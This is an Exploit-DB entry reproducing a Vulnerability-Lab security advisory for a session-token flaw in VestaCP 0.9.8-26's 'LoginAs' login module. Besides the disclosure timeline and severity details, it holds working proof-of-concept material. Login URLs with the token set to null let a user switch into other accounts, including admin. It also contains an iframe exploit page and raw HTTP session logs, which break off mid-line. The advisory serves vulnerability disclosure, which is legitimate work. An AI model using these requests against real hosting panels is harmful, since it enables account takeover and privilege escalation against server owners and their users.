Exploit-DB #49219
Description: VestaCP 0.9.8-26 - 'LoginAs' Insufficient Session Validation
Type: webapps
Platform: multiple
Date: 2020-12-09
Author: Vulnerability-Lab

Exploit:
# Exploit Title: VestaCP 0.9.8-26 - 'LoginAs' Insufficient Session Validation
# Date: 2020-11-26
# Exploit Author: Vulnerability-Lab
# Vendor Homepage: https://vestacp.com/
# Software Link: https://vestacp.com/install/
# Version: 0.9.8-26

Document Title:
===============
VestaCP v0.9.8-26 - (LoginAs) Token Session Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2240


Release Date:
=============
2020-11-26


Vulnerability Laboratory ID (VL-ID):
====================================
2240


Common Vulnerability Scoring System:
====================================
8.3


Vulnerability Class:
====================
Insufficient Session Validation


Current Estimated Price:
========================
2.000€ - 3.000€


Product & Service Introduction:
===============================
Web interface is open source php and javascript interface based on Vesta
open API, it uses 381 vesta CLI calls.
The GNU General Public Licence is a free, copyleft licence for software
and other kinds of works. Its free to change,
modify and redistribute source code.

(Copy of the Homepage: https://vestacp.com/features/ &
https://vestacp.com/install/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a
insufficient session validation vulnerability in the VestaCP v0.9.8-26
hosting web-application.


Affected Product(s):
====================
Vesta
Product: VestaCP v0.9.8-26 - Hosting Control Panel (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-05-04: Researcher Notification & Coordination (Security Researcher)
2020-05-05: Vendor Notification (Security Department)
2020-05-07: Vendor Response/Feedback (Security Department)
2020-**-**: Vendor Fix/Patch (Service Developer Team)
2020-**-**: Security Acknowledgements (Security Department)
2020-11-26: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A session token vulnerability has been discovered in the official
VestaCP (Control Panel) v0.9.8-26 hosting web-application.
The vulnerability allows remote attackers to gain unauthenticated or
unauthorized access by client-side token manipulation.

The token vulnerability is located in the function of the `LoginAs`
module. Remote attackers are able to perform LoginAs requests
without session token to preview there profiles. The attack requires
user account privileges for manipulation of the request.
The admin panel allows to request via token the local user accounts to
login as via account switch. In that moment the token
of the request can be removed to perform the same interaction with user
privileges. Thus allows to access other account
information without administrative permissions. The permission approval
on login request is insufficient regarding a
misconfiguration on the token implementation (client-side).

Successful exploitation of the web vulnerability results in information
disclosure, user or admin account compromise and
elevation of privileges by further exploitation.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] /login/

Vulnerable Parameter(s):
[+] token

Affected Parameter(s):
[+] loginas


Proof of Concept (PoC):
=======================
The token web vulnerability can be exploited by remote attackers with
simple user privileges without user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


Request: Default (Download Backup)
https://vestacp.localhost:8083/login/?loginas=user&token=f230a989082eec102ad5a3bb81fd0190
https://vestacp.localhost:8083/login/?loginas=admin&token=f230a989082eec102ad5a3bb81fd0190


PoC: Exploitation
https://vestacp.localhost:8083/login/?loginas=user/.admin&token=null


PoC: Exploit
<html>
<head><body>
<title>VestaCP (Control Panel) v0.9.8-26 - LoginAs User/Admin PoC</title>
<iframe
src="https://vestacp.localhost:8083/login/?loginas=admin&token=null"%20>
</body></head>
<html>



--- PoC Session Logs [GET] ---
https://vestacp.localhost:8083/login/?loginas=[ACCOUNTNAME]&token=null
Host: vestacp.localhost:8083
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer: https://vestacp.localhost:8083/list/user/
Cookie: __utma=80[PII_REDACTED]44[PII_REDACTED][PII_REDACTED][PII_REDACTED]255.6;
__utmc=80953744;
__utmz=80[PII_REDACTED]333371.4.4.utmcsr=demo.vestacp.com|utmccn=(referral)|utmcmd=referral|utmcct=/;

_ym_uid=[PII_REDACTED]58108010; _ym_d=[PII_REDACTED]; _ym_isad=2;
PHPSESSID=7u5ilka7amc64ue6htfipljha7; hide_passwords=0;
__utmb=80953744.5.10[PII_REDACTED]; _ym_visorc_34956065=w; __utmt=1;
metrika_enabled=1; _ym_metrika_enabled=1; _ym_metrika_enabled_34956065=1
-
GET: HTTP/1.1 302 Moved Temporarily
Server: nginx
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=120
Location: /
-
https://vestacp.localhost:8083/
Host: vestacp.localhost:8083
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://vestacp.localhost:8083/list/user/
Connection: keep-alive
Cookie: __utma=80[PII_REDACTED]44[PII_REDACTED][PII_REDACTED][PII_REDACTED]255.6;
__utmc=80953744;
__utmz=80[PII_REDACTED]333371.4.4.utmcsr=demo.vestacp.com|utmccn=(referral)|utmcmd=referral|utmcct=/;

_ym_uid=[PII_REDACTED]58108010; _ym_d=[PII_REDACTED]; _ym_isad=2;
PHPSES